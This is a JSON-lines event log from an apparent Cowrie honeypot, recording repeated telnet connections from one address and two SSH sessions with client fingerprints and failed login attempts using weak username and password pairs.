{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33858,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d33c7082168","protocol":"telnet","message":"New connection: 147.124.211.111:33858 (159.203.135.109:23) [session: 5d33c7082168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:04.551103Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33860,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dd1bc0c4e24","protocol":"telnet","message":"New connection: 147.124.211.111:33860 (159.203.135.109:23) [session: 2dd1bc0c4e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:04.555787Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33868,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6dc00c1db7c","protocol":"telnet","message":"New connection: 147.124.211.111:33868 (159.203.135.109:23) [session: a6dc00c1db7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:04.790154Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33852,"dst_ip":"159.203.135.109","dst_port":23,"session":"42f89fba8ad8","protocol":"telnet","message":"New connection: 147.124.211.111:33852 (159.203.135.109:23) [session: 42f89fba8ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:06.641100Z"}
{"eventid":"cowrie.session.closed","duration":31.76287055015564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:06.970269Z","src_ip":"147.124.211.111","session":"a8a22d801c24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33870,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcf8492ffe3c","protocol":"telnet","message":"New connection: 147.124.211.111:33870 (159.203.135.109:23) [session: fcf8492ffe3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:07.011625Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33878,"dst_ip":"159.203.135.109","dst_port":23,"session":"28fde02a074b","protocol":"telnet","message":"New connection: 147.124.211.111:33878 (159.203.135.109:23) [session: 28fde02a074b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:07.307458Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33894,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e4accfc6619","protocol":"telnet","message":"New connection: 147.124.211.111:33894 (159.203.135.109:23) [session: 0e4accfc6619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:07.736043Z"}
{"eventid":"cowrie.session.closed","duration":30.742478847503662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:08.083902Z","src_ip":"147.124.211.111","session":"2ac9219e3618","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33896,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce91b98f95e1","protocol":"telnet","message":"New connection: 147.124.211.111:33896 (159.203.135.109:23) [session: ce91b98f95e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:08.600190Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33904,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a04b1b69a30","protocol":"telnet","message":"New connection: 147.124.211.111:33904 (159.203.135.109:23) [session: 1a04b1b69a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:08.971623Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":41318,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdc94e299690","protocol":"ssh","message":"New connection: 203.90.110.186:41318 (10.17.0.5:22) [session: bdc94e299690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:09.491199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:09.496030Z","src_ip":"203.90.110.186","session":"bdc94e299690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33912,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ee073ff315","protocol":"telnet","message":"New connection: 147.124.211.111:33912 (159.203.135.109:23) [session: 55ee073ff315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:09.701996Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:09.716370Z","src_ip":"203.90.110.186","session":"bdc94e299690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89508581161499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:10.061627Z","src_ip":"147.124.211.111","session":"fae6d137b622","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"testme","message":"login attempt [test/testme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:10.628210Z","src_ip":"203.90.110.186","session":"bdc94e299690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.320189714431763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:11.822195Z","src_ip":"147.124.211.111","session":"47f9397c9c7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:11.850826Z","src_ip":"203.90.110.186","session":"bdc94e299690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35754,"dst_ip":"159.203.135.109","dst_port":23,"session":"20caebe07fd0","protocol":"telnet","message":"New connection: 147.124.211.111:35754 (159.203.135.109:23) [session: 20caebe07fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:12.129284Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35764,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e957bf4d844","protocol":"telnet","message":"New connection: 147.124.211.111:35764 (159.203.135.109:23) [session: 8e957bf4d844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:12.301780Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35746,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1d72fe7df55","protocol":"telnet","message":"New connection: 147.124.211.111:35746 (159.203.135.109:23) [session: c1d72fe7df55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:12.644220Z"}
{"eventid":"cowrie.session.closed","duration":31.008880615234375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:12.717682Z","src_ip":"147.124.211.111","session":"592847502e02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648373126983643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:13.047822Z","src_ip":"147.124.211.111","session":"ef99f7d3ff8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791895866394043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:13.346574Z","src_ip":"147.124.211.111","session":"7373c998bc60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35774,"dst_ip":"159.203.135.109","dst_port":23,"session":"a129e99aeec4","protocol":"telnet","message":"New connection: 147.124.211.111:35774 (159.203.135.109:23) [session: a129e99aeec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:13.361262Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35778,"dst_ip":"159.203.135.109","dst_port":23,"session":"22e2b47fa587","protocol":"telnet","message":"New connection: 147.124.211.111:35778 (159.203.135.109:23) [session: 22e2b47fa587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:13.848921Z"}
{"eventid":"cowrie.session.closed","duration":30.124011516571045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:14.035647Z","src_ip":"147.124.211.111","session":"8e1863b30796","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35794,"dst_ip":"159.203.135.109","dst_port":23,"session":"64ff6c8a5802","protocol":"telnet","message":"New connection: 147.124.211.111:35794 (159.203.135.109:23) [session: 64ff6c8a5802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:14.313048Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35810,"dst_ip":"159.203.135.109","dst_port":23,"session":"26fa3d7d37a7","protocol":"telnet","message":"New connection: 147.124.211.111:35810 (159.203.135.109:23) [session: 26fa3d7d37a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:14.519642Z"}
{"eventid":"cowrie.session.closed","duration":30.677377939224243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:14.585346Z","src_ip":"147.124.211.111","session":"582031507e5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1636483669281,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:15.352653Z","src_ip":"147.124.211.111","session":"17850344ef51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.521977424621582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:16.076621Z","src_ip":"147.124.211.111","session":"5ca2f32f1423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35820,"dst_ip":"159.203.135.109","dst_port":23,"session":"03419edf3db1","protocol":"telnet","message":"New connection: 147.124.211.111:35820 (159.203.135.109:23) [session: 03419edf3db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:16.268399Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35834,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b6a602c6803","protocol":"telnet","message":"New connection: 147.124.211.111:35834 (159.203.135.109:23) [session: 4b6a602c6803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:16.406509Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":58546,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ba0adaf00c2","protocol":"ssh","message":"New connection: 186.4.240.226:58546 (10.17.0.5:22) [session: 7ba0adaf00c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:16.645913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:16.657440Z","src_ip":"186.4.240.226","session":"7ba0adaf00c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:16.747863Z","src_ip":"186.4.240.226","session":"7ba0adaf00c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe123","message":"login attempt [ubuntu/123qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:17.106242Z","src_ip":"186.4.240.226","session":"7ba0adaf00c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.416086435317993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:17.427616Z","src_ip":"147.124.211.111","session":"de5d3a7035ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:18.201925Z","src_ip":"186.4.240.226","session":"7ba0adaf00c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.989476919174194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:18.279717Z","src_ip":"147.124.211.111","session":"44d8faa21bc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58086133003235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:18.346627Z","src_ip":"147.124.211.111","session":"caeaf54f9448","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35844,"dst_ip":"159.203.135.109","dst_port":23,"session":"dec5afe81596","protocol":"telnet","message":"New connection: 147.124.211.111:35844 (159.203.135.109:23) [session: dec5afe81596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:18.362218Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35854,"dst_ip":"159.203.135.109","dst_port":23,"session":"46d53fe1e002","protocol":"telnet","message":"New connection: 147.124.211.111:35854 (159.203.135.109:23) [session: 46d53fe1e002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:18.558569Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35872,"dst_ip":"159.203.135.109","dst_port":23,"session":"3145b0ab6c07","protocol":"telnet","message":"New connection: 147.124.211.111:35872 (159.203.135.109:23) [session: 3145b0ab6c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:19.182473Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35874,"dst_ip":"159.203.135.109","dst_port":23,"session":"e53d8aa417a3","protocol":"telnet","message":"New connection: 147.124.211.111:35874 (159.203.135.109:23) [session: e53d8aa417a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:19.326314Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35862,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bdd578fbaaa","protocol":"telnet","message":"New connection: 147.124.211.111:35862 (159.203.135.109:23) [session: 8bdd578fbaaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:19.954499Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55782,"dst_ip":"159.203.135.109","dst_port":23,"session":"a974b23f5bfa","protocol":"telnet","message":"New connection: 147.124.211.111:55782 (159.203.135.109:23) [session: a974b23f5bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:20.028566Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35868,"dst_ip":"159.203.135.109","dst_port":23,"session":"092eb70acbba","protocol":"telnet","message":"New connection: 147.124.211.111:35868 (159.203.135.109:23) [session: 092eb70acbba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:20.131367Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35878,"dst_ip":"159.203.135.109","dst_port":23,"session":"dca86a9c5119","protocol":"telnet","message":"New connection: 147.124.211.111:35878 (159.203.135.109:23) [session: dca86a9c5119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:20.835162Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55786,"dst_ip":"159.203.135.109","dst_port":23,"session":"a17db10a6076","protocol":"telnet","message":"New connection: 147.124.211.111:55786 (159.203.135.109:23) [session: a17db10a6076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:21.424976Z"}
{"eventid":"cowrie.session.closed","duration":31.379465579986572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:21.586378Z","src_ip":"147.124.211.111","session":"63495a7000ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.377191305160522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:21.637235Z","src_ip":"147.124.211.111","session":"1e6a62959d3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55820,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4bc072d3832","protocol":"telnet","message":"New connection: 147.124.211.111:55820 (159.203.135.109:23) [session: b4bc072d3832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:21.664744Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55822,"dst_ip":"159.203.135.109","dst_port":23,"session":"07f862b7fbc4","protocol":"telnet","message":"New connection: 147.124.211.111:55822 (159.203.135.109:23) [session: 07f862b7fbc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:21.959625Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55796,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e0876cfe086","protocol":"telnet","message":"New connection: 147.124.211.111:55796 (159.203.135.109:23) [session: 1e0876cfe086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:22.051445Z"}
{"eventid":"cowrie.session.closed","duration":31.095361948013306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:22.170900Z","src_ip":"147.124.211.111","session":"0fcb8241e16b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55838,"dst_ip":"159.203.135.109","dst_port":23,"session":"34a87d7b76b2","protocol":"telnet","message":"New connection: 147.124.211.111:55838 (159.203.135.109:23) [session: 34a87d7b76b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:22.245806Z"}
{"eventid":"cowrie.session.closed","duration":31.178390502929688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:22.458997Z","src_ip":"147.124.211.111","session":"463230d02a24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55846,"dst_ip":"159.203.135.109","dst_port":23,"session":"927a64d5ba71","protocol":"telnet","message":"New connection: 147.124.211.111:55846 (159.203.135.109:23) [session: 927a64d5ba71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:22.663805Z"}
{"eventid":"cowrie.session.closed","duration":30.308284282684326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:23.111686Z","src_ip":"147.124.211.111","session":"648da61c3a53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920964241027832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:23.161424Z","src_ip":"147.124.211.111","session":"7722cf82c416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.373258590698242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:23.921404Z","src_ip":"147.124.211.111","session":"f7acd4da562b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55812,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dd7edbcf34e","protocol":"telnet","message":"New connection: 147.124.211.111:55812 (159.203.135.109:23) [session: 5dd7edbcf34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:24.178031Z"}
{"eventid":"cowrie.session.closed","duration":31.164359092712402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:24.278649Z","src_ip":"147.124.211.111","session":"d86c3289ad67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067123413085938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:24.445270Z","src_ip":"147.124.211.111","session":"63b37db138f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.509841680526733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:25.169714Z","src_ip":"147.124.211.111","session":"e3753040586f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.100740671157837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:25.284218Z","src_ip":"147.124.211.111","session":"de7ab79f4e16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190866470336914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:25.289236Z","src_ip":"147.124.211.111","session":"4ae041211635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880852699279785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:25.704570Z","src_ip":"147.124.211.111","session":"c693e1b1081e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835145711898804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:26.329197Z","src_ip":"147.124.211.111","session":"cbee503c239a","protocol":"telnet"}
